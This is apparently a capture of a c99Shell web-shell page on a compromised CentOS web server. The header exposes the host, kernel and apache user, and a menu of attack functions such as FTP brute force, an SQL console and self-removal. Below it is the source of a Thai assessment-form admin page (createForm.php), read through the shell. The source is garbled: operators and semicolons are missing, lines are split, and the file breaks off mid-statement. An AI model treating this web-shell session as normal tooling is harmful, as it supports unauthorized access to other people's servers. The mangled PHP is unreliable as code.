!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     createForm.php (35.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once "template.php";
showHeader();
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<br>
<?
include_once "../link/function.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsSectionAll.php";
include_once 
"../class/clsSectionTQ.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsRadioQuestion.php";
include_once 
"../class/clsTextQuestion.php";
include_once 
"../class/clsHeaderQuestion.php";
ver2();

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oAF = new AssessForm($oCA);
$oAF->SearchByKey($assid);
$oAF->GetRecord();

//นับ define ว่าได้กำหนดแบบประเมินนี้แล้วหรือยัง ถ้ายัง UseAss =0
$oDA = new DefineAssessment($oCA);
$UsedAss $oDA->CountDefineidByAssid($oAF->assid);

?>
<table  width=703  align="center">
<tr><td height="150">
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php?mm=1">ข้อมูลพื้นฐานของระบบ</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"> 
      <a href="showListAss.php">สร้างแบบประเมิน </a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"> กำหนดรายละเอียดแบบประเมิน </font> </legend>
      <br>
      <form name="FormCreateAss" method="post" action="processAssForm.php">
          <input type="hidden" name="method" value="edit">
          <input type="hidden" name="assid" value="<?=$assid?>">
          <input type="hidden" name="nameAss" value="<?=$oAF->nameAss?>">
          <input type="hidden" name="detailAss" value="<?=$oAF->detailAss?>">
          <input type="hidden" name="maintopic" value="<?=$oAF->maintopic?>">
          <input type="hidden" name="explains" value="<?=$oAF->explains?>">

        <table width="619"  align="center">
          <tr width="550" valign="baseline"> 
            <td width="25" height="26" valign="top"><img src="../picture/show.gif" align="top" border="0"></td>
            <td width="133" height="26" valign="baseline"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ชื่อแบบประเมิน<br>ตามรายงาน</b></font></td>
            <td width="6" align="center" valign="baseline"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>: 
              </b></font></td>
            <td width="435" valign="baseline"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">
              <? if($oAF->maintopic == ""){  ?>
              <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_5"];?>"><? echo "- - กรุณากรอกข้อมูล - -";  ?></font>
              <? } else{ echo $oAF->maintopic; } ?>
            </font></td>
          </tr>
          <tr height="22" width=550 bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_11'];?>" valign="baseline">
            <td height="22" align="right"><img src="../picture/blank1.gif" width="16" height="16" border="0"></td>
            <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ชื่อแบบประเมิน<br>สำหรับผู้ตอบ</b></font></td>
            <td align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>: </b></font> </td>
            <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><? echo $oAF->nameAss?></font></td>
          </tr>
          <tr width=550 height="22" valign="baseline"> 
            <td align="right"> 
              <? if($oAF->confirmUse == "0") echo "<img src=\"../picture/lock.gif\" border=\"0\">";  else  echo "<img src=\"../picture/unlock.gif\" border=\"0\">"?>            </td>
            <td height="20"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>สถานะ</b></font></td>
            <td align="center" > <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>: 
              </b></font></td>
            <td ><? if($oAF->confirmUse == "0") { ?>
              <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_5"];?>"> - 
              - ยังไม่ได้ยืนยันการสร้างแบบประเมิน - -</font>
              <? } else  { echo "ยืนยันการสร้างแบบประเมินแล้ว"; }?></td>
          </tr>
          <tr width=550 height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_11'];?>" valign="baseline"> 
            <td height="22" align="right"><img src="../picture/ass.gif" align="top"  border="0"></td>
            <td  height="22" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>รายละเอียด</b></font></td>
            <td align="center"  valign="baseline"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b> 
              </b></font> <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>: 
              </b></font></td>
            <td  valign="baseline"><? if($oAF->detailAss == "") echo "-"; else echo $oAF->detailAss;?></td>
          </tr>
          <tr width=550> 
            <td height="32">&nbsp;</td>
            <td  valign="top">&nbsp;</td>
            <td colspan="2"  align="right" valign="bottom"><a href="displayAss.php?assid=<?php echo $assid ?>"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_5"];?>">(<img src="../picture/search.gif" width="12" height="16" border="0"> 
              คลิกที่นี่เพื่อดูหน้าแบบประเมินที่สร้าง</font></a>)</td>
          </tr>
        </table>
<?
    
/*---------------- สร้างหัวตาราง------------------*/
    
$oT = new clsTable(array("ขั้นตอน","ดำเนินการ"));
    
//$oT = new clsTable(array(""));
        
$oT->bgColor="#DADADA";
        
$oT->headerBgColor="#B7B7B7";
        
$oT->align="center";
        
$oTD->width="650";
    
/*---------------- สร้างตารางเพื่อกรอกข้อมูลของแบบประเมิน  ------------------
    $oT->rowStart("","#FFFFFF");
    $oT->addCell("กำหนดชื่อทั่วไปแบบประเมินและคำชี้แจง","","","","","420","");
    $oT->addCell("<a href=\"addTopicExplain.php?assid=$assid\" ><img src=\"../picture/input.gif\"  border=\"0\" width=\"16\" height=\"16\" alt=\"กำหนดชื่อทั่วไปแบบประเมินและคำชี้แจง\">","","","","","65","");
    $oT->rowEnd();*/

    /*--------------- สร้างตารางเพิ่มส่วนของแบบประเมิน โดยให้เลือกชนิด(ปลายเปิด,ปลายปิด)---------------*/
    //$oT->rowStart("","#B7B7B7");
    
$oT->rowStart("","#FFFFFF");
    
$oT->addCell("สร้างส่วนหรือกำหนดลักษณะของคำถามแบบประเมิน","","","","","420","");
    if(
$UsedAss == 0){
        
$oT->addCell("<a href=\"addTypeQuestion.php?assid=$assid\" ><img src=\"../picture/add_section.png\" alt=\"เพิ่มส่วนหรือชนิดคำถาม\" border=\"0\"></a>","","","","","65","");
    }else{
        
$oT->addCell("<img src=\"../picture/add_sectioned.png\" alt=\"เพิ่มส่วนหรือชนิดของคำถามไม่ได้\" border=\"0\">","","","","","65","");
    }
    
$oT->rowEnd();

    
// สร้าง oSAT เพื่อค้นหาส่วนของแบบประเมินมาสร้างเป็นแถวของตาราง
    
$oSAT = new SectionAll($oCA);
    
$oSAT->RSByKeyAss($assid);
    
$i=1//กำหนดเพื่อให้รันเลขของส่วน
    
$haveRQ 0//กำหนดเพื่อใช้เช็คในกรณีที่มีข้อคำถามแล้วถึงจะให้มียืนยันการสร้างแบบประเมิน
    
$haveTQ 0;
    
$haveQSection 0;
    
$AddHeaderAllSection 0;
    while (
$oSAT->GetRecord()){
        
//echo "xxx".$oSAT->sectionRQid;
        //echo $oSAT->sectionTQid;

        /*---------------- กรณีที่เลือกเป็นคำถามชนิดปลายปิด------------------*/
        
if($oSAT->sectionRQid != '0'){    
            
//------------> สร้างตารางว่าง
            
$oT->rowStart("","#FFFFFF");
            
$oT->addCell("","","","","","420","");
            
$oT->addCell("","","","","","65","");
            
$oT->rowEnd();
            
//-----------> สร้างส่วนของคำถามชนิดปลายปิด
            // ตรวจสอบว่าพิ่มการกำหนดคำอธิบายการตอบของส่วนนี้แล้วหรือยัง
            
$oHQ = new HeaderQuestion($oCA);
            
$chAddHeader $oHQ->CountHQidByAssidSectionRQid($assid,$oSAT->sectionRQid);
            
//echo "count = ".$chAddHeader;
            //เพิ่มจำนวน AddHeaderAllSection ในกรณีที่เพิ่มการกำหนดคำอธิบายการตอบของส่วนนี้ไปแล้ว เพื่อนำไปตรวจสอบให้มีการยืนยันการสร้างแบบประเมิน
            
if($chAddHeader 0){ $AddHeaderAllSection++;      $checkR ""; }
            if(
$chAddHeader == 0) { $checkR "<img src = \"../picture/alert.gif\">"; }
            
$oT->rowStart("","#FFCCCC");
            
$oT->addCell("<u>ส่วนที่ $i</u> : กำหนดคำอธิบายการตอบของส่วนนี้ (คำถามแบบปลายปิด)  $checkR","","","","","420","");    
            if(
$UsedAss == 0){
                
$oT->addCell("<a href=\"addHSectionRQ.php?assid=$assid&indexRQid=$oSAT->sectionRQid&indexSeq=$i\" ><img src=\"../picture/inputSecRQ.gif\"  border = \"0\" width=\"16\" height=\"16\" alt=\"กำหนดคำอธิบาย ข้อความ และระดับคะแนน\"></a>&nbsp;&nbsp;<a href=\"javascript:doDeleteSectionRQ(document.form1,'$i','1','$assid','$oSAT->sectionRQid')\"><img src=\"../picture/del.gif\" alt=\"ลบส่วน และคำถามที่มี\"  border=\"0\"></a>","","","","","65","");
            }else{
                
$oT->addCell("<a href=\"addHSectionRQ.php?assid=$assid&indexRQid=$oSAT->sectionRQid&indexSeq=$i\" ><img src=\"../picture/inputSecRQ.gif\"  border = \"0\" width=\"16\" height=\"16\" alt=\"กำหนดคำอธิบาย ข้อความ และระดับคะแนน\"></a>&nbsp;&nbsp;<img src=\"../picture/deled.gif\" alt=\"ลบส่วน และคำถามที่มีไม่ได้ี\"  border=\"0\">","","","","","65","");
            }
            
$oT->rowEnd();
            
            
//echo "<br>sectionRQid".$oSAT->sectionRQid;
            //***** หมายเลขคำถาม
            
$index1 1;
            
$index2 1;
            
//-----------> สร้าง oRQ เพื่อค้นหาคำถามข้อหลักมาแสดงเป็นแถวในตาราง
            //echo "<br>oSAT->section = ".$oSAT->sectionRQid;
            
$oRQ = new RadioQuestion($oCA);
            
$QEachSection[$i] = $oRQ->CountByAssidSectionRQid($assid,$oSAT->sectionRQid);
            
//echo "<br> QEachSection[$i] = ".$QEachSection[$i];

            
$oRQ->RSRadioQByKey($assid,$oSAT->sectionRQid,1);
            while(
$oRQ->GetRecord()){
                
$haveRQ 1;    
                
//----------> สร้าง omRQ เพื่อหาค่ามากสุดน้อยสุดของคำถามหลัก  เพื่อสร้างปุ่มเลื่อนคำถาม
                
$omRQ = new RadioQuestion($oCA);
                
//echo "<br>assid === ".$assid;
                //echo "<br>sectionRQid === ".$oRQ->sectionRQid;
                //echo "<br>levelRQ ==== ".$oRQ->levelRQ;
                
$minMQ $omRQ->getMinSeqMQ($assid,$oRQ->sectionRQid,$oRQ->levelRQ);
                
$maxMQ $omRQ->getMaxSeqMQ($assid,$oRQ->sectionRQid,$oRQ->levelRQ);
                
$imgbnk str_repeat("<td></td>",($oRQ->levelRQ-1)*2);
                
//echo "<br>minMQ =-> ".$minMQ;
                //echo "<br>maxMQ =-> ".$maxMQ;                        
                //echo "<br>****ข้อใหญ่ oRQ->RQid = ".$oRQ->RQid;

                //----------> check ว่ามีคำถามข้อย่อยหรือไม่เพื่อนำไปสร้างปุ่มเลื่อนคำถาม
                
$numParrentMQ $omRQ->RSCountParrentRQid($oRQ->RQid);
                
$numSectionRQidMQ $omRQ->RSCountSectionRQid($assid,$oRQ->sectionRQid,$oRQ->levelRQ);
                
//echo "<br> numParrentMQ = ".$numParrentMQ;
                //echo "<br> numSectionRQidMQ = ".$numSectionRQidMQ;

                
if($numParrentMQ == && $numSectionRQidMQ 1){
                    
//กรณีได้ใช้แบบประเมินนี้ในการประเมินแล้วจะไม่สามารถดำเนินการได้
                    
if($UsedAss == 0){
                        if(
$oRQ->sequence == $maxMQ){
                            
$updownMQ $imgbnk."<td bgcolor = #FFFFFF></td><td><a href=\"javascript:doUpDownRQ('u', '$assid','$oRQ->RQid','$oRQ->sectionRQid' ,'$oRQ->parrentRQid','$oRQ->levelRQ','$oRQ->sequence')\" ><img src=\"../picture/up.gif\" border =\"0\" alt=\"เลื่อนขึ้น(คำถามข้อหลัก)\"></a></td>";
                        } else if(
$oRQ->sequence == $minMQ){
                            
$updownMQ $imgbnk."<td><a href=\"javascript:doUpDownRQ('d', '$assid','$oRQ->RQid','$oRQ->sectionRQid' ,'$oRQ->parrentRQid','$oRQ->levelRQ','$oRQ->sequence')\" ><img src=\"../picture/down.gif\" border =\"0\" alt=\"เลื่อนลง(คำถามข้อหลัก)\"></a></td><td  bgcolor = #FFFFFF></td>";
                        } else{
                            
$updownMQ $imgbnk."<td><a href=\"javascript:doUpDownRQ('u', '$assid','$oRQ->RQid','$oRQ->sectionRQid' ,'$oRQ->parrentRQid','$oRQ->levelRQ','$oRQ->sequence')\" ><img src=\"../picture/up.gif\" border =\"0\" alt=\"เลื่อนขึ้น(คำถามข้อหลัก)\"></a></td><td><a href=\"javascript:doUpDownRQ('d', '$assid','$oRQ->RQid','$oRQ->sectionRQid' ,'$oRQ->parrentRQid','$oRQ->levelRQ','$oRQ->sequence')\" ><img src=\"../picture/down.gif\" border =\"0\" alt=\"เลื่อนลง(คำถามข้อหลัก)\"></a></td>";
                        }
                    }else{
                        if(
$oRQ->sequence == $maxMQ){
                            
$updownMQ $imgbnk."<td bgcolor = #FFFFFF></td><td><img src=\"../picture/uped.gif\" border =\"0\" alt=\"เลื่อนขึ้นไม่ได้(คำถามข้อหลัก)\"></td>";
                        } else if(
$oRQ->sequence == $minMQ){
                            
$updownMQ $imgbnk."<td><img src=\"../picture/downed.gif\" border =\"0\" alt=\"เลื่อนลงไม่ได้(คำถามข้อหลัก)\"></td><td  bgcolor = #FFFFFF></td>";
                        } else{
                            
$updownMQ $imgbnk."<td><img src=\"../picture/uped.gif\" border =\"0\" alt=\"เลื่อนขึ้นไม่ได้(คำถามข้อหลัก)\"></td><td><img src=\"../picture/downed.gif\" border =\"0\" alt=\"เลื่อนลงไม่ได้(คำถามข้อหลัก)\"></td>";
                        }
                    }
                }else{
                    
$updownMQ $imgbnk;
                }

                
$oT->rowStart("","#FFFFFF");
                if(
$oRQ->subtract == '-1'){
                    
$oT->addCell("$index1. $oRQ->nameRQ <img src = \"../picture/subtract.jpg\">","","","","","420","");
                }else{
                    
$oT->addCell("$index1. $oRQ->nameRQ","","","","","420","");
                }
                
//กรณีได้ใช้แบบประเมินนี้ในการประเมินแล้วจะไม่สามารถดำเนินการได้
                
if($UsedAss == 0){
                    
$oT->addCell("<a href=\"addSubQuestionRQ.php?assid=$assid&indexSeq=$i&RQid=$oRQ->RQid&sectionRQid=$oRQ->sectionRQid&subtract=$oRQ->subtract&levelRQ=$oRQ->levelRQ\" ><img src=\"../picture/new.gif\" alt=\"เพิ่มคำถามข้อย่อย\"  border=\"0\"></a>&nbsp;&nbsp;<a href=\"javascript:doDeleteMainRQ(document.form1,'mainRQ','$assid','$oRQ->nameRQ', '$oRQ->RQid')\"><img src=\"../picture/del.gif\" alt=\"ลบคำถามข้อหลัก และข้อย่อยที่มี\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"editMainQuestionRQ.php?assid=$assid&indexSeq=$i&RQid=$oRQ->RQid&sectionRQid=$oRQ->sectionRQid&subtract=$oRQ->subtract&levelRQ=$oRQ->levelRQ\"><img src=\"../picture/edit.gif\" alt=\"แก้ไขคำถามข้อหลัก\" border=\"0\"></a>$updownMQ","","","","","65","");
                }else{
                    
$oT->addCell("<img src=\"../picture/newed.gif\" alt=\"เพิ่มคำถามข้อย่อยไม่ได้\"  border=\"0\">&nbsp;&nbsp;<img src=\"../picture/deled.gif\" alt=\"ลบคำถามข้อหลัก และข้อย่อยที่มีไม่ได้\" border=\"0\">&nbsp;&nbsp;<a href=\"editMainQuestionRQ.php?assid=$assid&indexSeq=$i&RQid=$oRQ->RQid&sectionRQid=$oRQ->sectionRQid&subtract=$oRQ->subtract&levelRQ=$oRQ->levelRQ\"><img src=\"../picture/edit.gif\" alt=\"แก้ไขคำถามข้อหลัก\" border=\"0\"></a>$updownMQ","","","","","65","");
                }
                
$oT->rowEnd();
                
                
//----------> สร้าง ocRQ เพื่อค้นหาคำถามข้อย่อยจากข้อหลักใน oRQ มาแสดงเป็นแถวในตาราง
                
$ocRQ = new RadioQuestion($oCA);
                
$ocRQ->RSCheckLevel($assid,$oRQ->RQid);
            
                while(
$ocRQ->GetRecord()){
                    
                    
//----------> สร้าง omRQ เพื่อหาค่ามากสุดน้อยสุดของคำถามย่อย  เพื่อสร้างปุ่ม
                    
$omRQ = new RadioQuestion($oCA);
                    
$minSQ $omRQ->getMinSeq($assid,$ocRQ->parrentRQid);
                    
$maxSQ $omRQ->getMaxSeq($assid,$ocRQ->parrentRQid);
                    
$imgbnk str_repeat("<td></td>",($ocRQ->levelRQ-1)*2);
                    
//echo "<br>minSQ =>> ".$minSQ;
                    //echo "<br>maxSQ =>> ".$maxSQ;
                    //echo "<br>****ข้อย่อย ocRQ->RQid = ".$ocRQ->RQid;
                    //echo "<br>-*-- levelRQ sub => ".$ocRQ->levelRQ;
                    //----------> check ว่ามีคำถามข้อย่อยหรือไม่เพื่อนำไปสร้างปุ่มเลื่อนคำถาม
                    
$numParrentSQ $omRQ->RSCountParrentRQid($ocRQ->parrentRQid);
                    
$numSectionRQidSQ $omRQ->RSCountSectionRQid($assid,$ocRQ->sectionRQid,2);
                    
//echo "<br> numParrentSQ = ".$numParrentSQ;
                    //echo "<br>  numSectionRQidSQ = ".$numSectionRQidSQ;
                    //echo "<br>";
                    
if($numParrentSQ && $numSectionRQidSQ 1){
                        if(
$UsedAss == 0){
                            if(
$ocRQ->sequence == $maxSQ){
                                
$updownSQ $imgbnk."<td bgcolor = #FFFFFF></td><td><a href=\"javascript:doUpDownRQ('u', '$assid','$ocRQ->RQid','$ocRQ->sectionRQid' ,'$ocRQ->parrentRQid','$ocRQ->levelRQ','$ocRQ->sequence')\" ><img src=\"../picture/up.gif\" border =\"0\" alt=\"เลื่อนขึ้น(คำถามข้อย่อย)\"></a></td>";
                            } else if(
$ocRQ->sequence == $minSQ){
                                
$updownSQ $imgbnk."<td><a href=\"javascript:doUpDownRQ('d', '$assid','$ocRQ->RQid','$ocRQ->sectionRQid' ,'$ocRQ->parrentRQid','$ocRQ->levelRQ','$ocRQ->sequence')\" ><img src=\"../picture/down.gif\" border =\"0\" alt=\"เลื่อนลง(คำถามข้อย่อย)\"></a></td><td  bgcolor = #FFFFFF></td>";
                            } else{
                                
$updownSQ $imgbnk."<td><a href=\"javascript:doUpDownRQ('u', '$assid','$ocRQ->RQid','$ocRQ->sectionRQid' ,'$ocRQ->parrentRQid','$ocRQ->levelRQ','$ocRQ->sequence')\" ><img src=\"../picture/up.gif\" border =\"0\" alt=\"เลื่อนขึ้น(คำถามข้อย่อย)\"></a></td><td><a href=\"javascript:doUpDownRQ('d', '$assid','$ocRQ->RQid','$ocRQ->sectionRQid' ,'$ocRQ->parrentRQid','$ocRQ->levelRQ','$ocRQ->sequence')\" ><img src=\"../picture/down.gif\" border =\"0\" alt=\"เลื่อนลง(คำถามข้อย่อย)\"></a></td>";
                            }
                        }else{
                            if(
$ocRQ->sequence == $maxSQ){
                                
$updownSQ $imgbnk."<td bgcolor = #FFFFFF></td><td><img src=\"../picture/uped.gif\" border =\"0\" alt=\"เลื่อนขึ้นไม่ได้(คำถามข้อย่อย)\"></td>";
                            } else if(
$ocRQ->sequence == $minSQ){
                                
$updownSQ $imgbnk."<td><img src=\"../picture/downed.gif\" border =\"0\" alt=\"เลื่อนลงไม่ได้(คำถามข้อย่อย)\"></td><td  bgcolor = #FFFFFF></td>";
                            } else{
                                
$updownSQ $imgbnk."<td><img src=\"../picture/uped.gif\" border =\"0\" alt=\"เลื่อนขึ้นไม่ได้(คำถามข้อย่อย)\"></td><td><img src=\"../picture/downed.gif\" border =\"0\" alt=\"เลื่อนลงไม่ได้(คำถามข้อย่อย)\"></a></td>";
                            }
                        }
                    }else{
                        
$updownSQ "";
                    }
                                        
                    
//echo "<br> ocRQ->RQid = ".$ocRQ->RQid;
                    
$oT->rowStart("","#FFFFFF");
                    if(
$ocRQ->subtract == '-1'){
                        
$oT->addCell("<img src=\"../picture/blank1.gif\"border=\"0\">$index1.$index2  $ocRQ->nameRQ <img src = \"../picture/subtract.jpg\">","","","","","420","");
                    }else{
                        
$oT->addCell("<img src=\"../picture/blank1.gif\"border=\"0\">$index1.$index2  $ocRQ->nameRQ","","","","","420","");
                    }
                    if(
$UsedAss == 0){
                        
$oT->addCell("<img src=\"../picture/blank1.gif\"border=\"0\">&nbsp;&nbsp;<a href=\"javascript:doDeleteSubRQ(document.form1,'subRQ','$assid', '$ocRQ->nameRQ', '$ocRQ->RQid')\"><img src=\"../picture/del.gif\" alt=\"ลบคำถามข้อย่อย\" border = \"0\"></a>&nbsp;&nbsp;<a href=\"editSubQuestionRQ.php?assid=$assid&indexSeq=$i&RQid=$ocRQ->RQid&sectionRQid=$ocRQ->sectionRQid&subtract=$ocRQ->subtract&levelRQ=$ocRQ->levelRQ\"><img src=\"../picture/edit.gif\"  alt=\"แก้ไขคำถามข้อย่อย\" border = \"0\"></a>$updownSQ","","","","","65","");
                    }else{
                        
$oT->addCell("<img src=\"../picture/blank1.gif\"border=\"0\">&nbsp;&nbsp;<img src=\"../picture/deled.gif\" alt=\"ลบคำถามข้อย่อยไม่ได้\" border = \"0\">&nbsp;&nbsp;<a href=\"editSubQuestionRQ.php?assid=$assid&indexSeq=$i&RQid=$ocRQ->RQid&sectionRQid=$ocRQ->sectionRQid&subtract=$ocRQ->subtract&levelRQ=$ocRQ->levelRQ\"><img src=\"../picture/edit.gif\"  alt=\"แก้ไขคำถามข้อย่อย\" border = \"0\"></a>$updownSQ","","","","","65","");
                    }
                    
$oT->rowEnd();        
        
                    
$index2++;
                }    
//end while ocRQ
                
$index1++;
                
$index2 1;
            }        
//end while oRQ
        
            //------------> สร้างเพิ่มคำถามข้อหลัก (ปลายปิด)
            
$oT->rowStart("","#EAEAEA");
            
$oT->addCell("","","","","","420","");
            
$oT->addCell("","","","","","65","");
            
$oT->rowEnd();

//            $oT->rowStart("","#EAEAEA");
            
$oT->rowStart("","#D2D2D2");
            
$oT->addCell("เพิ่มคำถามข้อหลัก","","","","","420","");
            if(
$UsedAss == 0){
                
$oT->addCell("<a href=\"addMainQuestionRQ.php?assid=$assid&indexSeq=$i&sectionRQid=$oSAT->sectionRQid\"><img src=\"../picture/new.gif\" alt=\"เพิ่มคำถามข้อหลัก\"  border=\"0\"></a>","","","","","65","");
            }else{
                
$oT->addCell("<img src=\"../picture/newed.gif\" alt=\"เพิ่มคำถามข้อหลักไม่ได้\"  border=\"0\">","","","","","65","");                
            }
            
$oT->rowEnd();
    
        }   
//end if sectionRQid != 0

        /*---------------- กรณีที่เลือกเป็นคำถามชนิดปลายเปิด ------------------*/
        
if($oSAT->sectionTQid != '0'){
            
//------------> สร้างตารางว่าง
            
$oT->rowStart("","#FFFFFF");
            
$oT->addCell("","","","","","420","");
            
$oT->addCell("","","","","","65","");
            
$oT->rowEnd();
            
//-----------> สร้างส่วนของคำถามชนิดปลายเปิด
            // ตรวจสอบว่าพิ่มการกำหนดคำอธิบายการตอบของส่วนนี้แล้วหรือยัง
            
$oST = new SectionTQ($oCA);
            
$oST->RSSectionTQAll($assid,$oSAT->sectionTQid);
            
$oST->GetRecord();
            
//echo "<br> topicSectionTQ = ".$oST->topicSectionTQ;
            //เพิ่มจำนวน AddHeaderAllSection+1 ในกรณีที่เพิ่มการกำหนดคำอธิบายการตอบของส่วนนี้ไปแล้ว เพื่อนำไปตรวจสอบให้มีการยืนยันการสร้างแบบประเมิน
            
if($oST->topicSectionTQ  != ""){ 
                
$AddHeaderAllSection++; 
                
$checkT ""
            } else { 
                
$checkT "<img src = \"../picture/alert.gif\">"
            }
            
$oT->rowStart("","#D2E8FF");
            
$oT->addCell("<u>ส่วนที่ $i</u> : กำหนดคำอธิบายการตอบของส่วนนี้ (คำถามแบบปลายเปิด) $checkT","","","","","420","");
            if(
$UsedAss == 0){
                
$oT->addCell("<a href=\"addHSectionTQ.php?assid=$assid&indexTQid=$oSAT->sectionTQid&indexSeq=$i\" ><img src=\"../picture/inputSecTQ.gif\" border = \"0\" width=\"16\" height=\"16\" alt=\"กำหนดคำอธิบาย\"></a>&nbsp;&nbsp;<a href=\"javascript:doDeleteSectionTQ(document.form1,'$i','2','$assid','$oSAT->sectionTQid')\"><img src=\"../picture/del.gif\" alt=\"ลบส่วน และคำถามที่มี\"  border=\"0\"></a>","","","","","65","");
            }else{
                
$oT->addCell("<a href=\"addHSectionTQ.php?assid=$assid&indexTQid=$oSAT->sectionTQid&indexSeq=$i\" ><img src=\"../picture/inputSecTQ.gif\" border = \"0\" width=\"16\" height=\"16\" alt=\"กำหนดคำอธิบาย\"></a>&nbsp;&nbsp;<img src=\"../picture/deled.gif\" alt=\"ลบส่วน และคำถามที่มีไม่ได้\"  border=\"0\">","","","","","65","");
            }
            
$oT->rowEnd();

            
//echo "<br>sectionTQid".$oSAT->sectionTQid;
            //***** หมายเลขคำถาม
            
$index3 1;
            
//-----------> สร้าง oTQ เพื่อค้นหาคำถามข้อหลักหรือข้อย่อยมาแสดงเป็นแถวในตาราง
            
$oTQ = new TextQuestion($oCA);
            
$QEachSection[$i] = $oTQ->CountByAssidSectionTQid($assid,$oSAT->sectionTQid);
            
//echo "<br> QEachSection[$i] = ".$QEachSection[$i];

            
$oTQ->RSTextQByKey($assid,$oSAT->sectionTQid);
            while(
$oTQ->GetRecord()){
            
$haveTQ 1;
                
//----------> สร้าง omRQ เพื่อหาค่ามากสุดน้อยสุดของคำถามหลัก  เพื่อสร้างปุ่มเลื่อนคำถาม
                
$omTQ = new TextQuestion($oCA);
                
//echo "<br>assid === ".$assid;
                //echo "<br>sectionRQid === ".$omTQ->sectionRQid;
                //echo "<br>levelRQ ==== ".$oRQ->levelRQ;
                
$minTQ $omTQ->getMinSeqTQ($assid,$oTQ->sectionTQid);
                
$maxTQ $omTQ->getMaxSeqTQ($assid,$oTQ->sectionTQid);
                
$imgbnk str_repeat("<td></td>",($oRQ->levelRQ-1)*2);
                
//echo "<br>minTQ =-> ".$minTQ;
                //echo "<br>maxTQ =-> ".$maxTQ;                        


                //----------> check ว่ามีคำถามข้อย่อยหรือไม่เพื่อนำไปสร้างปุ่มเลื่อนคำถาม
                
$numLevelTQ $omTQ->RSCountLevel($assid,$oTQ->sectionTQid);
                
//echo "<br> numLevelTQ = ".$numLevelTQ;
                
                
if($numLevelTQ 1){
                    if(
$UsedAss == 0){
                        if(
$oTQ->sequence == $maxTQ){
                            
$updownTQ $imgbnk."<td bgcolor = #FFFFFF></td><td><a href=\"javascript:doUpDownTQ('u', '$assid','$oTQ->TQid','$oTQ->sectionTQid','$oTQ->sequence')\" ><img src=\"../picture/up.gif\" alt=\"เลื่อนขึ้น(คำถาม)\" border=\"0\"></a></td>";
                        } else if(
$oTQ->sequence == $minTQ){
                            
$updownTQ $imgbnk."<td><a href=\"javascript:doUpDownTQ('d', '$assid','$oTQ->TQid','$oTQ->sectionTQid','$oTQ->sequence')\" ><img src=\"../picture/down.gif\" alt=\"เลื่อนลง(คำถาม)\" border=\"0\"></a></td><td  bgcolor = #FFFFFF></td>";
                        } else{
                            
$updownTQ $imgbnk."<td><a href=\"javascript:doUpDownTQ('u', '$assid','$oTQ->TQid','$oTQ->sectionTQid','$oTQ->sequence')\" ><img src=\"../picture/up.gif\" alt=\"เลื่อนขึ้น(คำถาม)\" border=\"0\"></a></td><td><a href=\"javascript:doUpDownTQ('d', '$assid','$oTQ->TQid','$oTQ->sectionTQid','$oTQ->sequence')\" ><img src=\"../picture/down.gif\" alt=\"เลื่อนลง(คำถาม)\" border=\"0\"></a></td>";
                        }
                    }else{
                        if(
$oTQ->sequence == $maxTQ){
                            
$updownTQ $imgbnk."<td bgcolor = #FFFFFF></td><td><img src=\"../picture/uped.gif\" alt=\"เลื่อนขึ้นไม่ได้(คำถาม)\" border=\"0\"></td>";
                        } else if(
$oTQ->sequence == $minTQ){
                            
$updownTQ $imgbnk."<td><img src=\"../picture/downed.gif\" alt=\"เลื่อนลงไม่ได้(คำถาม)\" border=\"0\"></td><td  bgcolor = #FFFFFF></td>";
                        } else{
                            
$updownTQ $imgbnk."<td><img src=\"../picture/uped.gif\" alt=\"เลื่อนขึ้นไม่ได้(คำถาม)\" border=\"0\"></td><td><img src=\"../picture/downed.gif\" alt=\"เลื่อนลง(คำถาม)\" border=\"0\"></td>";
                        }
                    }
                }else{
                    
$updownTQ $imgbnk;
                }

                
//echo "oTQ->sectionTQid = ".$oTQ->sectionTQid;
                //echo "<br> TQtext = ".$oRQ->nameTQ;
                
$oT->rowStart("","#FFFFFF");
                
$oT->addCell("$index3. $oTQ->nameTQ","","","","","420","");
                if(
$UsedAss == 0){
                    
